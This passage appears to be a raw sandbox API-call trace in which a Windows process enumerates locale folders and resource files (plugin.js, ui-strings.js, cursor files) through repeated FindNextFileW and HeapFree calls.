lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0185.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.838] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0185.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.840] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0185.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.840] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0185.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.842] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0185.844] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.844] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0185.844] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.845] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0186.039] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.040] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0186.040] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.040] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0186.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.041] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0186.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.041] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0186.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.041] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0186.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.042] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0186.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.042] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0186.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.042] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0186.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.043] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0186.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.043] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0186.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.043] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0186.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.044] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0186.044] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.044] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0186.044] FindClose (in: hFindFile=0x72a448 | out: hFindFile=0x72a448) returned 1 [0186.044] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.044] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0186.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.045] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0186.045] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0186.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.045] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0186.045] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0186.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0186.045] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0186.045] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0186.046] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0186.048] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fss", cAlternateFileName="")) returned 1 [0186.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0186.049] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="img", cAlternateFileName="")) returned 1 [0186.053] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.054] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0186.054] FindClose (in: hFindFile=0x72a588 | out: hFindFile=0x72a588) returned 1 [0186.055] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.055] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 1 [0186.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5430068 | out: hHeap=0x710000) returned 1 [0186.063] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eada30 | out: lpFindFileData=0x2eada30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x27b41a7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0186.063] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0186.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5420060 | out: hHeap=0x710000) returned 1 [0186.063] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x27b41a7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0186.063] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0186.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.063] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="check.cur", cAlternateFileName="")) returned 1 [0186.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5420060 | out: hHeap=0x710000) returned 1 [0186.069] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f5618, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x26f5618, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x26f5618, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0186.069] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0186.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.069] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="x.cur", cAlternateFileName="")) returned 1 [0186.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.069] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 0 [0186.069] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0186.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0186.072] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0186.644] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.644] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0186.645] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.645] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0186.645] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.645] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0186.645] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.645] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, 